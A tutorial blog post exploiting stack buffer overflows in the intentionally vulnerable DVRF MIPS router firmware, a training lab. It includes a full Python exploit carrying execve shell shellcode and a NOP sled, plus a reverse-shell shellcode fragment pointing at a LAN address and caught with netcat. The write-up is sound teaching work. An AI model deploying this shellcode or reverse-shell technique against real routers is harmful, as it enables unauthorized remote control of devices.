This is the second blog post of our series on MIPS exploitation using Praetorian’s Damn Vulnerable Router Firmware (DVRF) written by b1ack0wl. In the first part we exploited a (not so simple) stack buffer overflow, using our JEB ROP gadget finder. Let’s dig into the second and third buffer overflow challenges!
As the first one, we face a:
stack_bof_02: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
Let’s check the main function.
It looks almost exactly the same as the first challenge with only a different buffer size in the strcpy() call. Let’s confirm we don’t have an instant win function, to which we can redirect the execution.
Building The Exploit
What we have here is a textbook case of stack buffer overflow. The stack is executable and we can write a pretty large buffer (508 bytes) to it thanks to the vulnerable strcpy().
First things first, I retrieved a MIPS shellcode from shellstorm, which I then translated into little-endian — the target binary being compiled for MIPSEL. Next, we need to find the exact stack address where we need to jump to. In order to ease the process (and make our exploit “portable”) I decided to prefix the shellcode with a NOP sled.
To build the NOP sled, we can not simply use MIPS
NOP instruction, because it is encoded as four null bytes, and therefore cannot be copied with strcpy(). Using Keystone assembler, I searched for an equivalent instruction, and ended up using
xor $t0, $t0, $t0, whose encoding does not contain null bytes.
We only need to merge all the parts together and we have an exploit! Here is the complete exploit code:
#!/usr/bin/python2 import struct payload = "" # NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes) for i in range(30): payload += "\x26\x40\x08\x01" # execve shellcode translated from MIPS to MIPSEL # http://shell-storm.org/shellcode/files/shellcode-792.php payload += "\xff\xff\x06\x28" # slti $a2, $zero, -1 payload += "\x62\x69\x0f\x3c" # lui $t7, 0x6962 payload += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f payload += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp) payload += "\x73\x68\x0e\x3c" # lui $t6, 0x6873 payload += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e payload += "\xf8\xff\xae\xaf" # sw $t6, -8($sp) payload += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp) payload += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc payload += "\xff\xff\x05\x28" # slti $a1, $zero, -1 payload += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab payload += "\x0c\x01\x01\x01" # syscall 0x40404 payload += "A"*(508-len(payload)) stack_addr = struct.pack("<I", 0x7fffe2a8) payload += stack_addr with open("input", "wb") as f: f.write(payload)
We can see that the shellcode successfully executed and we now have a shell!
The next challenge was similar to the second one but involved an open network socket to receive the user input, as the name of the challenge indicates. Let’s check it out!
It starts with the usual socket boilerplate code and binds on a port specified as a command line argument. After accepting a connection, it will read 500 bytes and send back the string “nom nom nom, you sent me %s” formatted with your 500 bytes input.
The vulnerability comes from the small size of the sprintf() buffer, which is only 52 bytes long, as you can see here in JEB stackframe view:
Our strategy here is similar to the previous exploit, except this time our shellcode will be a reverse shell.
li $a1, 0xB101A8C0 #192.168.1.177 sw $a1, -4($sp) addi $a1, $sp, -8
To ease the use of this shellcode, I added a
not instruction to be able to connect to 127.0.0.1 or any IP address that contains null bytes. To make sure it works as intended and to debug offsets, let’s run the exploit in JEB’s debugger by setting a breakpoint (Ctrl+B) right before the
JR $RA instruction and stepping through our shellcode.
We can then step through with the
stepo debugger command (or use the
F6 shortcut) and jump to the
Memory Code view.
And we end up in our NOP sled as intended, stepping through it will make us arrive at our shellcode where we can verify that it works as we thought!
Let’s start a listening socket with netcat on port
31337 and confirm that we have a shell:
Success! I encourage you to stay tuned with the DVRF project updates because the challenge author will make some changes on the heap challenges (that we haven’t posted about because of that). A blog post covering notes on reversing a real router firmware will follow shortly!